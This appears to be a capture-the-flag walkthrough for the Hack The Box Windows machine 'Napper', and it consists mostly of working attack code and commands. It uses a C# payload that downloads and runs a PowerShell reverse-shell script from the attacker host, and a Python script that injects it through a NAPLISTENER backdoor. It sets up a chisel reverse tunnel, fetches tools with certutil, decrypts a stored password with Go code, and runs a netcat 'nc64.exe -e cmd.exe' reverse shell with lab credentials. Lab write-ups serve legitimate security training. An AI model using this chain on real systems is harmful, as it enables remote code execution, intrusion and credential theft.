Napper (Windows | Hard)

USER

machine ip

```
(machine ip)
```

nmap scan

```
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sC -sV (machine ip) -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-11 15:24 EST
Nmap scan report for (machine ip)
Host is up (0.0080s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp open  ssl/http Microsoft IIS httpd 10.0
| tls-alpn: 
|_  http/1.1
|_http-title: Research Blog | Home 
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
|_http-generator: Hugo 0.112.3
|_ssl-date: 2023-11-11T20:24:44+00:00; -18s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -18s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.38 seconds
```

port 80 and 443 open

add napper.htb and app.napper.htb to /etc/hosts

ffuf to find subdomains

```
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -c -u https://(machine ip)/ -w SecLists/Discovery/Web-Content/common.txt -H "HOST: FUZZ.napper.htb" -fl 187

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://(machine ip)/
 :: Wordlist         : FUZZ: /home/kali/Desktop/SecLists/Discovery/Web-Content/common.txt
 :: Header           : Host: FUZZ.napper.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response lines: 187
________________________________________________

[Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 117ms]
    * FUZZ: internal

:: Progress: [4715/4715] :: Job [1/1] :: 641 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
```

add internal.napper.htb to hosts file

dig around on app.napper.htb page and find default creds on:

```
https://app.napper.htb/posts/setup-basic-auth-powershell/
```

use default creds to log into internal.napper.htb:

```
example:ExamplePassword
```

find these extracts on one of the web pages

```
[...] HTTP listener written in C#, which we refer to as NAPLISTENER.
 Consistent with SIESTAGRAPH and other malware families developed or used by this threat,
 NAPLISTENER appears designed to evade network-based forms of detection.  [...]
```

```
This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in
 the sdafwe3rwe23 parameter will be loaded and executed in memory.
 It's worth noting that the binary runs in a separate process and it is not
associated with the running IIS server directly.
```

lists vulnerabilities that can be exploited

make powershell script on https://www.revshells.com/

use powershell#3(Base64) and then remove Base64 encoding (under encoding tab)

save to file called test.ps1

```
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUAB
```

create script named payload.cs

set scriptURL to (your host IP)/(name of powershell script)

```
using System;
using System.Diagnostics;
using System.Net;

namespace payload
{
    public class Run
    {
        public Run()
        {
            var scriptUrl = "http://(host ip)/test.ps1";

            using (WebClient webClient = new WebClient())
            {
                // Download the PowerShell script from the URL
                string scriptContent = webClient.DownloadString(scriptUrl);

                var processStartInfo = new ProcessStartInfo("powershell.exe")
                {
                    // Pass the downloaded script content as a command
                    Arguments = scriptContent,
                    RedirectStandardOutput = true,
                    RedirectStandardError = true,
                    UseShellExecute = false,
                    CreateNoWindow = true
                };

                var process = new Process
                {
                    StartInfo = processStartInfo
                };

                process.Start();

            }
        }

        public static void Main(string[] args)
        {

        }
    }
}
```

compile payload.cs into payload.exe

```
mcs payload.cs
```

upload payload.exe to cyberchef and convert to Base64

using template from webpage of internal.napper.htb (might actually be app.napper.htb), create python script called test.py

input the the Base64 encoded payload.exe as the payload

```
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

hosts=["napper.htb"]

payload="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmF
form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
    url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

    try:
        r_ssl = requests.post(url_ssl, data=form_field, verify=False)
        print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
    except KeyboardInterupt:
        exit()
    except Exception as e:
        print("e")
        pass
```

set up netcat listener on port 9001

```
nc -lvnp 9001
```

open a python server on host machine on port 80

```
python3 -m http.server 80
```

run test.py on host machine

```
python3 test.py
```

gives reverse shell as user on nc listener

ROOT

upload chisel.exe to client server

need .exe version because it is a windows machine*

```
certutil.exe -urlcache -f http://(host ip)/chisel.exe chisel.exe
```

open a chisel server

on host machine:

```
./chisel server -p 8001 --reverse
```

on client machine:

```
./chisel.exe client (host ip):8001 R:1080:socks
```

repeat steps for user to get another reverse shell as user (just change ports in script) because the chisel server will be running on the original shell connection

found in C:\Program Files\elasticsearch-8.8.0

```
elastic : oKHzjZw0EGcRxT2cux5K
```

upload RunasCs.exe onto client server

upload to windows\tasks\ directory*

```
certutil.exe -urlcache -f http://(host ip)/RunasCs.exe RunasCs.exe
```

upload nc64.exe onto client server

upload to windows\tasks\ directory*

```
certutil.exe -urlcache -f http://(host ip)/nc64.exe nc64.exe
```

visit webpage:

need to proxychains firefox to website or change to socks5 proxy in burpsuite (need to restart browser after changing to socks5 in settings*

```
https://localhost:9200/_all/_search
```

golang programming environment

https://go.dev/play/

put script below into golang website

put in seed and blob from localhost into main function

gives password output for authentication

```
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    "log"
    "math/rand"
    "strconv"
)

func checkErr(err error) {
    if err != nil {
        log.Fatal(err)
    }
}

func genKey(seed int) (key []byte) {
    rand.Seed(int64(seed))
    for i := 0; i < 0x10; i++ {
        val := rand.Intn(0xfe)
        key = append(key, byte(val+1))
    }
    return
}

func decrypt(seed int, enc []byte) (data []byte) {
    fmt.Printf("Seed: %v\n", seed)
    key := genKey(seed)
    fmt.Printf("Key: %v\n", key)
    iv := enc[:aes.BlockSize]
    fmt.Printf("IV: %v\n", iv)
    data = enc[aes.BlockSize:]

    block, err := aes.NewCipher(key)
    checkErr(err)

    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(data, data)
    fmt.Printf("Plaintext: %s\n", data)
    return
}

func main() {
    seed, err := strconv.Atoi("25758060")
    checkErr(err)
    enc, err := base64.URLEncoding.DecodeString("CQJTg2iHRI2QP_FKZMDmnpqhegey_ivqEdYBFJnYpkeUEG4tvLd1fgcE4S1K36kNxWrv9MHNX_8=")
    checkErr(err)

    dec := decrypt(seed, enc)
    myString := string(dec)
    fmt.Printf(myString)
}
```

outputs password as plaintext

open netcat listener on port 9005

```
nc -lvnp 9005
```

run on user to get root

input password output from golang script*

```
./RunasCs.exe Backup JhyEpIGwXUpbzoyLZBbbxCUrXLPmVFWbwNxhIUaA "C:\windows\tasks\nc64.exe (host ip) 9005 -e cmd.exe" -t 0 -b
```

gets reverse shell as root on nc listener for port 9005